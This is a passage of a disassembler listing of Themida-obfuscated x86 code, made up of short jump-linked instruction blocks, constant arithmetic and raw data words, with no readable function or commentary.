dd 0CD0958C1h, 0FCED8159h, 177896Fh, 242C8BE8h, 4C481h
dd 7A680000h, 8900003Fh, 36E9241Ch, 59FFFF97h, 8324348Bh
dd 10E904C4h, 5A000004h, 16C668h, 24348900h, 987D13BEh
dd 40166841h, 0C890000h, 0D0BB924h, 0EC8327E7h, 24348904h
dd 20DFB850h, 8DBE5BE8h, 299B9E76h, 0AB6EE9C6h, 0C7890000h
dd 0FFE35DE9h, 0A1EA81FFh, 9B1F21Fh, 0BF575AD0h, 7B781358h
dd 0DADCE947h, 0E955FFFFh, 0FFFFAAA2h
; ---------------------------------------------------------------------------
loc_54A640: ; CODE XREF: Themida_:005548DCj
sub ebx, 4
jmp loc_544D1D
; ---------------------------------------------------------------------------
loc_54A64B: ; CODE XREF: Themida_:00551F9Cj
xor eax, ecx
xchg esi, ecx
not esi
jmp loc_557630
; ---------------------------------------------------------------------------
dw 1489h
dd 81E28924h, 4C2h, 2C28100h, 33000000h, 14312414h, 24143324h
dd 0FFC406E9h, 243489FFh, 0FAE9E689h, 4A0000B6h, 0CFF9F281h
dd 0D6291A47h, 2434875Ah, 243C895Ch, 8904EC83h, 0E9552424h
dd 0FFFFD600h, 8324148Bh, 0BCE904C4h, 5C000031h, 51240489h
dd 10E8B850h, 0DDE96EC6h, 0E9000071h, 0FFFF8050h
; ---------------------------------------------------------------------------
loc_54A6BC: ; CODE XREF: Themida_:00552941j
add esp, 4
push dword ptr [esp]
pop ecx
push esi
sub esp, 4
jmp loc_549A17
; ---------------------------------------------------------------------------
dd 29DFEE81h, 0C6293228h, 29DFC681h, 34FF3228h, 0C4835824h
dd 2601E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A6E6: ; CODE XREF: Themida_:00552EAEj
push edx
jmp loc_556A3C
; ---------------------------------------------------------------------------
dd 0EB80C328h, 0F5EDE9C9h, 0C89FFFFh, 9A20E924h, 0E95DFFFFh
dd 0AF61h, 0E924248Bh, 4CD1h, 203CC581h, 0E801DCDAh, 5C42D5Dh
dd 815E76D8h, 2D6BA9C3h, 27E9502Bh, 5CFFFFEEh, 0FF999FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A72D: ; CODE XREF: Themida_:005440DFj
mov [esp], ebx
mov ebx, 67391C9Bh
add ebx, 31A27B77h
or ebx, 1F90755Ah
jmp loc_54EFDA
; ---------------------------------------------------------------------------
dw 0DDF7h
dd 520EC581h, 0EA017FEAh, 2414335Dh, 33241431h, 248B2414h
dd 4EC8124h, 0E9000000h, 54Ah
; ---------------------------------------------------------------------------
loc_54A768: ; CODE XREF: Themida_:00550371j
sub bh, al
jmp loc_54813E
; ---------------------------------------------------------------------------
aM0HM db '¬0Øh;M',0
dw 8900h
dd 0A0E9240Ch
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A77F: ; CODE XREF: Themida_:00543FCAj
pop ecx
push 32F3h
mov [esp], ebx
mov ebx, ebp
mov ecx, ebx
mov ebx, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
push 40F5h
jmp loc_551E7E
; ---------------------------------------------------------------------------
db 5Dh, 57h, 89h
dd 685652E7h, 14D83C96h, 46D6F75Eh, 1D13BF57h, 0BDE968CDh
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A7BB: ; CODE XREF: Themida_:00549DB4j
push 5A46h
mov [esp], esi
mov esi, 69054448h
sub [esp+4], esi
pop esi
push dword ptr [esp]
pop eax
add esp, 4
push ebx
mov ebx, 4FAE744Ah
shl ebx, 1
and ebx, 5A7F765Fh
shl ebx, 3
jmp loc_550565
; ---------------------------------------------------------------------------
db 0B8h, 2Eh, 37h
dd 0BD551060h, 0FFFFFFFFh, 0E95DE829h, 84C7h, 0FC885051h
dd 0C8E1E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A80A: ; CODE XREF: Themida_:005505F2j
inc esi
sub esp, 4
mov [esp], eax
mov eax, 67BC4809h
not eax
sub eax, 1C2264F2h
inc eax
jmp loc_54C96C
; ---------------------------------------------------------------------------
db 0BBh
dd 4, 1283E981h, 0D9011323h, 1283C181h, 835B1323h, 0C3302C1h
dd 0CD12E924h, 92BBFFFFh, 817EB059h, 8052E4CBh, 4BEBD144h
dd 4EC1F381h, 0D90938AEh, 4E9C15Bh, 486BD55h, 98E9297Eh
dd 5A000012h, 4BA52h, 0A5E90000h, 59FFFF85h, 3058C688h
dd 0F5805AF5h, 59EC88C2h, 8B66E220h, 0C4832404h, 0C0C2FE02h
dd 0B05005E2h, 5E8C0A3h, 3084B353h, 0CAE95BD8h, 81000088h
dd 791544C3h, 5CC3810Bh, 5D11D46Fh, 0FFB05DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A8B1: ; CODE XREF: Themida_:0054676Cj
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 6CED4F40h
neg edi
neg edi
sub edi, 2087085Ah
jmp loc_54B2E9
; ---------------------------------------------------------------------------
loc_54A8CE: ; CODE XREF: Themida_:0055115Ej
mov ecx, esp
jmp loc_5534C3
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 8304C483h, 2C8904ECh, 0B1685224h, 0E93AE65Ch, 118Bh
; ---------------------------------------------------------------------------
loc_54A8EC: ; CODE XREF: Themida_:0054C46Cj
xor edx, [esp]
xor [esp], edx
jmp loc_54B539
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 1C8B0000h, 89EFE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A906: ; CODE XREF: Themida_:00542AF5j
push ecx
jmp loc_552483
; ---------------------------------------------------------------------------
dd 9FE9D3F7h
db 45h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A913: ; CODE XREF: Themida_:0055543Fj
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
jmp loc_552AE8
; ---------------------------------------------------------------------------
dd 55240C8Bh, 0C5815D54h, 4, 459B68h, 5CE900h, 0E9530000h
dd 0FFFFB383h
; ---------------------------------------------------------------------------
loc_54A940: ; CODE XREF: Themida_:00556C60j
add esi, 74EA5DA8h
pop edx
add esi, ecx
jmp loc_555B84
; ---------------------------------------------------------------------------
dw 0F781h
dd 0EE47B7A7h, 6BD0EA81h, 0FA290F61h, 0FF8A22E9h, 0C8966FFh
dd 0B60F6624h, 9C5166C8h, 0FF7D9BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A971: ; CODE XREF: Themida_:00543838j
add edx, 3F7002EDh
jmp loc_54F5AF
; ---------------------------------------------------------------------------
dd 0E95AD001h, 0FFFF8D6Ah, 4C381h, 1C870000h, 24248B24h
dd 76A0E95Fh, 1C890000h, 4BB24h, 0A5E90000h, 89FFFFC5h
dd 5FB62414h, 0FF9962E9h, 4EC81FFh, 89000000h, 74FF241Ch
dd 34FF0424h, 0C4815B24h, 4, 8B24048Fh, 0FA682424h, 89000019h
dd 0E950241Ch, 0D8Dh
; ---------------------------------------------------------------------------
loc_54A9D8: ; CODE XREF: Themida_:0054D5F3j
sub edx, ebx
jmp loc_549CCA
; ---------------------------------------------------------------------------
db 54h
dd 4C6815Eh, 83000000h, 343304EEh, 24343124h, 8B243433h
dd 7DE92424h, 10000CEh, 2434FFD7h, 4C4835Ah, 4BE56h, 0F7290000h
dd 243C335Eh, 0E9243C31h, 7EB0h
; ---------------------------------------------------------------------------
loc_54AA18: ; CODE XREF: Themida_:00551E9Ej
add dword ptr [esp+4], 5A4B59A8h
pop ebx
mov ebp, [esp]
add esp, 4
jmp loc_550B0D
; ---------------------------------------------------------------------------
dd 4C4835Ah, 8B240487h, 3C892424h, 68E78924h, 2A56h, 0BB241C89h
dd 2B0E6057h, 0BD55D3F7h, 0D4F19FA4h, 0FFE134E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AA55: ; CODE XREF: Themida_:005465EDj
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
jmp loc_5534B9
; ---------------------------------------------------------------------------
aSsU db 'Sé¼u',0
dd 0E9D08800h, 24D0h
; ---------------------------------------------------------------------------
loc_54AA74: ; CODE XREF: Themida_:00549C86j
mov [esp], esp
push edx
jmp loc_550F33
; ---------------------------------------------------------------------------
loc_54AA7D: ; CODE XREF: Themida_:0054AD6Fj
sub ebx, 3CBC7275h
jmp loc_5490C2
; ---------------------------------------------------------------------------
dd 266668h, 24148900h, 0FF7C77E9h, 6AC181FFh, 81565345h
dd 853876C1h, 1018123h, 8B000000h, 0C483240Ch, 3550E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AAB2: ; CODE XREF: Themida_:00546CFBj
xchg edi, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
shr eax, 0Eh
xor eax, ecx
push eax
jmp loc_54FE20
; ---------------------------------------------------------------------------
db 50h
dd 183F4FB8h, 8560D1Bh, 31952413h, 0CF26E9C5h, 4B9FFFFh
dd 0E9000000h, 0FFFF868Bh
; ---------------------------------------------------------------------------
loc_54AAE4: ; CODE XREF: Themida_:00548723j
sub esp, 4
mov [esp], ebp
jmp loc_54789C
; ---------------------------------------------------------------------------
db 50h
dd 405E089h, 83000000h, 48704C0h, 24685C24h, 0E900003Eh
dd 811Dh, 0E924048Fh, 5374h
; ---------------------------------------------------------------------------
loc_54AB10: ; CODE XREF: Themida_:00554033j
mov [esp], eax
push edx
jmp loc_54E8D7
; ---------------------------------------------------------------------------
db 58h, 68h, 18h
dd 8900006Eh, 0F6E92414h, 66FFFFEBh, 66C3BA35h, 48BC701h
dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0F829665Ch
dd 243C8B66h, 0FF925CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AB4D: ; CODE XREF: Themida_:00553BCBj
xor ecx, 10635CF7h
jmp loc_55468F
; ---------------------------------------------------------------------------
loc_54AB58: ; CODE XREF: Themida_:00557B44j
xor ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_54270C
; ---------------------------------------------------------------------------
loc_54AB64: ; CODE XREF: Themida_:00552EE0j
add ebx, 3E8226EBh
add ebx, 750731E1h
neg ebx
and ebx, 5DA22EF4h
jmp loc_557457
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0C381EB01h, 126B5F5Ch, 83242C8Bh, 0C38104C4h, 7EEE6F32h
dd 0CEE9C329h, 28000055h, 8B1204E8h, 8951240Ch, 4C181E1h
dd 50000000h, 0E314FFB8h, 0C1D8F743h, 0E0C103E8h, 0B4B0E906h
dd 0D8010000h, 42D5Bh, 4870000h, 24248B24h, 57241489h
dd 81E68956h, 4C6h, 36116800h, 0C890000h, 4B924h, 0CE290000h
dd 24348759h, 0C12FE9h, 81E28900h, 4C2h, 4EA8100h, 87000000h
dd 545C2414h, 8324048Fh, 8F042404h, 4832404h, 148B0424h
dd 9A82E924h, 8951FFFFh, 8843E9E1h, 0D3890000h, 0E9D3F75Ah
dd 0FFFF88C3h
; ---------------------------------------------------------------------------
loc_54AC2C: ; CODE XREF: Themida_:00555355j
mov esi, 1D576F3Eh
neg esi
and esi, 52164897h
sub esi, 2E022833h
and esi, 52DE0B83h
xor esi, 2527563Dh
add ecx, esi
pop esi
add ecx, 0DF696A93h
add edi, ecx
pop ecx
mov esi, edi
pop edi
jmp loc_556FAF
; ---------------------------------------------------------------------------
loc_54AC5F: ; CODE XREF: Themida_:00555134j
push ebx
mov ebx, 62675C00h
sub esp, 4
mov [esp], ebp
mov ebp, 18996A81h
jmp loc_543754
; ---------------------------------------------------------------------------
dd 50241489h, 17C6E99Ch, 3C890000h, 1B85024h, 0E9000000h
dd 0FFFFAF0Ah
; ---------------------------------------------------------------------------
loc_54AC90: ; CODE XREF: Themida_:00546A63j
push esi
jmp loc_55723B
; ---------------------------------------------------------------------------
loc_54AC96: ; CODE XREF: Themida_:0054C1BFj
add [esp+2], bl
pop bx
sub [esp], ah
push edx
mov dl, 25h
sub [esp+4], dl
pop edx
mov ah, [esp]
add esp, 2
jmp loc_555EBC
; ---------------------------------------------------------------------------
dw 1C89h
dd 0FB69E924h, 8B4FFFFh, 0E94AC480h, 53B4h, 77516859h
dd 1C890000h, 8847E924h, 34890000h, 0E36E924h, 68560000h
dd 4D7952BAh, 2B33E9h, 4EF8100h, 57000000h, 42474FFh, 81243C8Bh
dd 4C4h, 24048F00h, 2434895Ch, 1464E9h, 24440100h, 348B5804h
dd 4C48324h, 0BD10E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AD16: ; CODE XREF: Themida_:0054D68Fj
mov ebx, [esp]
add esp, 4
sub dh, 4Eh
jmp loc_54FC9B
; ---------------------------------------------------------------------------
a@hs8 db '@Hé,8',0
align 2
dw 3C89h
dd 0A4C5E924h, 0CD81FFFFh, 79A7481Eh, 0D30BE953h, 0C483FFFFh
dd 4329E904h, 34FF0000h, 7B8EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AD52: ; CODE XREF: Themida_:005568DAj
xor edi, [esp]
pop esp
sub esp, 4
jmp loc_5527F4
; ---------------------------------------------------------------------------
dw 8966h
dd 0E9502414h, 5CAAh
; ---------------------------------------------------------------------------
loc_54AD68: ; CODE XREF: Themida_:0054EB06j
pop esp
sub ebx, 22407C0Bh
jmp loc_54AA7D
; ---------------------------------------------------------------------------
loc_54AD74: ; CODE XREF: Themida_:0054A2B8j
shr eax, 7
shr eax, 7
add eax, 0FFFF938Ch
add ebx, eax
mov eax, [esp]
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push 460Eh
mov [esp], edx
jmp loc_54FA10
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4835F24h, 5A545204h, 95DCE951h, 0CB01FFFFh, 1EB8159h
dd 68000000h, 3CFEh, 0B8240489h, 664A28AFh, 5158C309h
dd 5D25E9B9h, 0E9CB3122h, 73B6h
; ---------------------------------------------------------------------------
loc_54ADD4: ; CODE XREF: Themida_:00546646j
xchg eax, [esp]
mov esp, [esp]
mov ebx, 0DD824386h
add ebx, edi
jmp loc_551A6D
; ---------------------------------------------------------------------------
a_skk db '_骊',0
align 4
loc_54ADEC: ; CODE XREF: Themida_:00546A76j
push dword ptr [esp]
jmp loc_54F7CB
; ---------------------------------------------------------------------------
dd 2474ED81h, 0CD0148C6h, 2474C581h, 0ED8148C6h, 0ACC562Fh
dd 592434FFh, 0BFB5E951h, 34FF0000h, 24048B24h, 7FA168h
dd 240C8900h, 711C68h, 48F5400h, 24048324h, 4B41E904h
dd 0E9510000h, 0FFFFE3F4h
; ---------------------------------------------------------------------------
loc_54AE38: ; CODE XREF: Themida_:0054F06Ej
mov ecx, 26CC5145h
jmp loc_557910
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48324h, 1328B951h, 4C2D2476h, 0E952784Eh, 0FFFFB513h
dd 3166AD66h, 36866D8h, 3C896644h, 55665024h, 0FFBC35E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AE6D: ; CODE XREF: Themida_:005490B4j
mov [esp], edx
mov dh, 8Dh
neg dh
or dh, 9Eh
sub esp, 2
mov [esp], cx
jmp loc_542B27
; ---------------------------------------------------------------------------
aT_s_ db 'T_é_É',0
align 2
dw 0C529h
dd 0D271E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AE92: ; CODE XREF: Themida_:005528A5j
add esp, 4
shr ebx, 6
xor ebx, 34FD77B2h
sub ebx, 0BE057B73h
push esi
push ebx
pop esi
jmp loc_5456DE
; ---------------------------------------------------------------------------
loc_54AEAF: ; CODE XREF: Themida_:00550394j
pop edi
sub edi, esi
mov esi, [esp]
jmp loc_55549F
; ---------------------------------------------------------------------------
loc_54AEBA: ; CODE XREF: Themida_:0055617Fj
mov eax, [esp]
add esp, 4
xor eax, 3B72539h
push esi
mov esi, 5F044F6Fh
sub esi, 0F002EF43h
add eax, esi
pop esi
shl eax, 8
add eax, 0FE19B445h
mov ebp, eax
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5531B3
; ---------------------------------------------------------------------------
db 81h, 0E6h, 33h
dd 81736823h, 4E3C3AE6h, 4E6C171h, 0E9E38953h, 5831h
; ---------------------------------------------------------------------------
loc_54AF00: ; CODE XREF: Themida_:005557F1j
mov [esp], ebp
push edx
jmp loc_556A8F
; ---------------------------------------------------------------------------
loc_54AF09: ; CODE XREF: Themida_:005522E9j
push 55AC17B4h
pop esi
push ebx
mov ebx, 21C84411h
xor esi, ebx
pop ebx
jmp loc_5507E1
; ---------------------------------------------------------------------------
db 0BEh, 0FFh, 78h
dd 0E3E94D30h, 1FFFFC4h, 5F43E9D3h, 3C890000h, 3C79BF24h
dd 0E7C16931h, 7AA3E902h, 9468FFFFh, 89000040h, 0E189240Ch
dd 4C181h, 0C1810000h, 4, 8B240C87h, 94682424h, 8900004Dh
dd 0BCBF243Ch, 0E967C476h, 0FFFFAFC3h
; ---------------------------------------------------------------------------
loc_54AF6C: ; CODE XREF: Themida_:0054F7CFj
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_54DA91
; ---------------------------------------------------------------------------
loc_54AF80: ; CODE XREF: Themida_:00550BA7j
mov ebp, 4
jmp loc_552B9D
; ---------------------------------------------------------------------------
dw 0C529h
dd 8324048Bh, 0A6E904C4h, 4D00001Eh, 8102EDC1h, 68202CF5h
dd 0ED81455Fh, 2936AA8Ah, 24348155h, 0F783640h, 7F80E95Fh
dd 8B66FFFFh
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55245B
; ---------------------------------------------------------------------------
dw 0C581h
dd 0C7706E7h, 56E8ED81h, 0FD01177Fh, 56E8C581h, 0B951177Fh
dd 70E32112h, 0A6EBE9h, 42A6800h, 24890000h, 24048324h
dd 0C2815A04h, 4, 0E904EA83h, 84DAh
; ---------------------------------------------------------------------------
loc_54AFFC: ; CODE XREF: Themida_:00552DC5j
add esp, 4
jmp loc_5437A1
; ---------------------------------------------------------------------------
dd 0B8214FBFh, 81E7D164h, 70429AF7h, 0E9FD89C9h, 0FFFFB1D2h
dd 0E9241489h, 4222h, 49524EBEh, 4CF6811Eh, 891E4952h
dd 0C5815EF3h, 7F84040Ch, 0E957DD29h, 0FFFF8E25h, 50E8E95Ah
dd 0EC830000h, 47A5E904h, 0D8000000h, 0D044004h, 5B665B66h
dd 0B60FC330h, 8734FFC0h, 0FF76ABE9h, 48F54FFh, 0F452E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B06A: ; CODE XREF: Themida_:0054460Cj
xor ebp, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_54C046
; ---------------------------------------------------------------------------
dd 52E9FE31h, 0F700007Ch, 96CA81D2h, 0F7041F4Ah, 0C341E9D2h
dd 0C481FFFFh, 4, 8107EBC1h, 0D6CB9AC3h, 0E9D80122h, 0A805h
dd 2EA5E181h, 52E9774Ch, 87FFFFC7h, 0F5E92434h, 87FFFFAFh
dd 895C2404h, 31B9240Ch, 514C203Eh, 0FF88E2E9h, 246C29FFh
dd 815A5D04h, 0C00309C2h, 3C8B5801h, 54A6E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B0DE: ; CODE XREF: Themida_:005489D7j
add dl, al
pop eax
jmp loc_54D018
; ---------------------------------------------------------------------------
dw 0DDBEh
dd 293C7665h, 0C2815EF2h, 106A1540h, 0FFE2D0E9h, 4EF83FFh
dd 5C243C87h, 54240C89h, 68240C8Bh, 6A5Ah, 89241489h, 86E953E2h
dd 2D00000Fh, 3BFA27B4h, 0B405E801h, 0E93BFA27h, 0FFFFBCBEh
dd 405h, 4BA5200h, 1000000h, 370FE9D0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B13A: ; CODE XREF: Themida_:00543976j
sub ebp, edi
jmp loc_5438C9
; ---------------------------------------------------------------------------
loc_54B141: ; CODE XREF: Themida_:00550572j
pop ebx
add esp, 4
push dword ptr [esp]
pop edx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_54B676
; ---------------------------------------------------------------------------
db 0F7h
dd 0D0B6E9DBh, 30ACFFFFh, 0C554E9D8h, 0DA210000h, 2C83525Bh
dd 815AFF24h, 14420F2h, 80C18100h, 0E93F4E2Fh, 0FFFFB993h
dd 0F7814F4Fh, 2A307317h, 835FF801h, 48704E8h, 2C895C24h
dd 6D67BD24h, 0E58141DAh, 54D7602Dh, 0FFE42FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B1A5: ; CODE XREF: Themida_:0054C4C5j
push dword ptr [esp]
pop eax
jmp loc_555A5E
; ---------------------------------------------------------------------------
loc_54B1AE: ; CODE XREF: Themida_:00550D8Ej
mov edi, [esp]
add esp, 4
shl ebp, 4
sub esp, 4
mov [esp], edi
mov edi, 498707E0h
neg edi
or edi, 6FE5081h
add edi, 130132E9h
not edi
jmp loc_544E86
; ---------------------------------------------------------------------------
db 0BAh, 5Eh, 5Dh
dd 0DAF738B3h, 5DB1E9h, 4EC8100h, 89000000h, 0A1E9241Ch
dd 51FFFF88h, 62FAB850h, 0D22D4F0Dh, 89154357h, 319158C1h
dd 0AED2E9C8h, 32FF0000h, 0FF74F7E9h, 0B2E68FFh, 3C8B40FAh
dd 4C48124h, 68000000h, 7747h, 0BB241C89h, 719D41B9h, 0FF84F0E9h
dd 0EBD14BFFh, 0A3F38143h, 291DBEE0h, 0F8E95BDDh, 8000035h
dd 0E98058C1h, 0B6525015h, 0F6D6F644h, 834AE9DEh, 0F22DFFFFh
dd 89FDD1D2h, 0DAF758C2h, 0F281E2D1h, 2823EA6Ah, 96E9D709h
dd 89000032h, 0C200E9E0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B27A: ; CODE XREF: Themida_:00550010j
and ch, bl
pop ebx
jmp loc_5461CE
; ---------------------------------------------------------------------------
dw 85E9h
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B287: ; CODE XREF: Themida_:005449AEj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub ecx, 61B55CB4h
add ecx, edi
add ecx, 61B55CB4h
jmp loc_55069D
; ---------------------------------------------------------------------------
loc_54B2A9: ; CODE XREF: Themida_:005431A0j
add edx, edi
pop edi
xor eax, edx
push dword ptr [esp]
jmp loc_551544
; ---------------------------------------------------------------------------
dw 34FFh
dd 24048B24h, 8FFEE9h, 54EB8100h, 1691D31h, 53515BD8h
dd 99F95ABBh, 5BD98936h, 5A1A68h, 243C8900h, 0A1D8E9h
dd 240C8900h, 0FF7423E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B2E9: ; CODE XREF: Themida_:0054A8C9j
inc edi
jmp loc_544855
; ---------------------------------------------------------------------------
loc_54B2EF: ; CODE XREF: Themida_:0054ECECj
xor ebx, 64B5451Ch
jmp loc_548121
; ---------------------------------------------------------------------------
dw 0E929h
dd 0E9242C8Bh, 0FFFFA480h, 240C8B66h, 83E08950h, 0ACE904ECh
dd 5A000096h, 5B53C581h, 0F5017340h, 5B53ED81h, 575E7340h
dd 4349E951h, 87680000h, 8900001Bh, 74FF2414h, 0FEE90424h
db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B33B: ; CODE XREF: Themida_:00551387j
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_542FCD
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFFEC6Fh
; ---------------------------------------------------------------------------
loc_54B360: ; CODE XREF: Themida_:00545B6Ej
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_551732
; ---------------------------------------------------------------------------
dd 3504C483h, 0E11F5FF1h, 158C329h, 2A1AE9C3h, 58520000h
dd 97E9525Ah, 8100001Ah, 0E02B1BC1h, 242C8B67h, 0C59CE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B396: ; CODE XREF: Themida_:0054E1C9j
xchg esi, [esp]
mov esp, [esp]
xor ecx, ebp
xor ebp, ecx
xor ecx, ebp
not ebp
xor ecx, ebp
jmp loc_556CCB
; ---------------------------------------------------------------------------
db 81h
dd 320EDAE3h, 6E3C15Dh, 235FE9h, 0FE95700h
db 86h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B3BF: ; CODE XREF: Themida_:00554783j
sub esi, 4
jmp loc_545A55
; ---------------------------------------------------------------------------
loc_54B3CA: ; CODE XREF: Themida_:0054F6FFj
mov ch, 80h
jmp loc_54F2B3
; ---------------------------------------------------------------------------
db 88h, 0EAh, 8Bh
dd 0F0E9240Ch, 8B000006h, 14872424h, 24248B24h, 1E4E9h
db 0
; ---------------------------------------------------------------------------
loc_54B3E9: ; CODE XREF: Themida_:0054FD37j
sub dword ptr [esp+8], 3D6F5A81h
jmp loc_54C342
; ---------------------------------------------------------------------------
loc_54B3F6: ; CODE XREF: Themida_:00545A62j
add esp, 2
push dx
mov dh, 47h
add bl, dh
mov dx, [esp]
add esp, 2
jmp loc_543126
; ---------------------------------------------------------------------------
loc_54B411: ; CODE XREF: Themida_:005509CCj
pop edi
jmp loc_54E9C2
; ---------------------------------------------------------------------------
db 55h
dd 211641BDh, 0E9EF2119h, 8A4h, 8B24048Fh, 2C892424h, 56E58924h
dd 1657BA52h, 0CA8135F4h, 0D586BDBh, 732EA81h, 0BBE9E1E0h
db 99h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B447: ; CODE XREF: Themida_:00553538j
pop esp
jmp loc_5469DD
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 7A5Bh
; ---------------------------------------------------------------------------
loc_54B458: ; CODE XREF: Themida_:00545AB0j
add dword ptr [esp+4], 6A2F4E64h
add [esp+4], ebx
sub esp, 4
mov [esp], eax
mov eax, 6A2F4E64h
sub [esp+8], eax
jmp loc_54EF2D
; ---------------------------------------------------------------------------
db 2Dh
dd 0E8B7DE1h, 158C201h, 0F0EA81F2h, 81334D38h, 8775C6EAh
dd 0F2815E4Bh, 7BB0287Ch, 0FFE4DDE9h, 352268FFh, 14890000h
dd 2DF5E924h, 0D1F60000h, 80F0C180h, 9E97FEFh, 68000081h
dd 70A65416h, 8124048Bh, 4C4h, 0D4E94800h, 680000A0h, 7DF3h
dd 8455E9h, 0BE565000h, 7BCD549Eh, 295EF089h, 8B082444h
dd 0C4832404h, 242C8B04h, 2813E9h
db 0
; ---------------------------------------------------------------------------
loc_54B4F1: ; CODE XREF: Themida_:0054A2AAj
xor eax, 1F144E0Ah
add ebx, eax
pop eax
add ebx, 4
xchg ebx, [esp]
jmp loc_54CC56
; ---------------------------------------------------------------------------
loc_54B504: ; CODE XREF: Themida_:00551ED6j
add ebx, 0F0CD08B1h
add eax, ebx
jmp loc_554D3F
; ---------------------------------------------------------------------------
db 31h, 0F2h, 31h
dd 56D2F7D6h, 0FFE471E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B51D: ; CODE XREF: Themida_:005531BAj
sub esp, 4
jmp loc_556B3E
; ---------------------------------------------------------------------------
aV_VsM db 'V_^VéÙŒ',0
dd 243C8900h, 0FF7AD9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B539: ; CODE XREF: Themida_:0054A8F2j
xor edx, [esp]
pop esp
xor edx, [esp]
jmp loc_5560AA
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 4C481h, 34FF0000h, 89575B24h, 4C781E7h, 83000000h, 3C8704C7h
dd 0AECCE924h, 0D428FFFFh, 5124148Bh, 0C181E189h, 4, 8704C183h
dd 805C240Ch, 0DCF6DAE4h, 8042CC80h, 0E68806C4h, 8324048Bh
dd 526604C4h, 0FFDF65E9h, 4C683FFh, 5C243487h, 74E9DFF7h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B5A3: ; CODE XREF: Themida_:0054FE1Bj
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_5437BB
; ---------------------------------------------------------------------------
db 55h, 0BDh, 4
dd 0E9000000h, 904Fh
; ---------------------------------------------------------------------------
loc_54B5BC: ; CODE XREF: Themida_:0054B6EDj
push esi
mov esi, 670A11E2h
or esi, 5449599Ah
jmp loc_552CED
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 1C066824h, 2C890000h, 0B4D8E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B5DE: ; CODE XREF: Themida_:00549696j
pop esp
jmp loc_554D37
; ---------------------------------------------------------------------------
loc_54B5E4: ; CODE XREF: Themida_:00550B92j
pop ebx
dec edi
add edi, 6BA21D5Fh
add ecx, edi
pop edi
xchg ecx, [esp]
mov esp, [esp]
jmp loc_54E645
; ---------------------------------------------------------------------------
dw 0D0F7h
dd 71AA2735h, 58C629FBh, 52FBF681h, 8146171Dh, 79F49BC6h
dd 4EC8184h, 89000000h, 0F189240Ch, 5E59C889h, 510EC381h
dd 0C3013CCFh, 510EEB81h, 17E93CCFh
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B633: ; CODE XREF: Themida_:005528AFj
or eax, 283B7E3Eh
not eax
xor eax, 87008044h
add esi, eax
pop eax
jmp loc_544A7A
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 14C58104h, 0E9248E00h, 0B2A9h, 0A12253BAh
dd 59CA0167h, 0CCFEBE56h, 8BE98A52h, 8F000028h, 248B2404h
dd 56BCE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B676: ; CODE XREF: Themida_:0054B152j
add ebx, 4
xchg ebx, [esp]
pop esp
push 1FB2h
mov [esp], ebx
jmp loc_556426
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
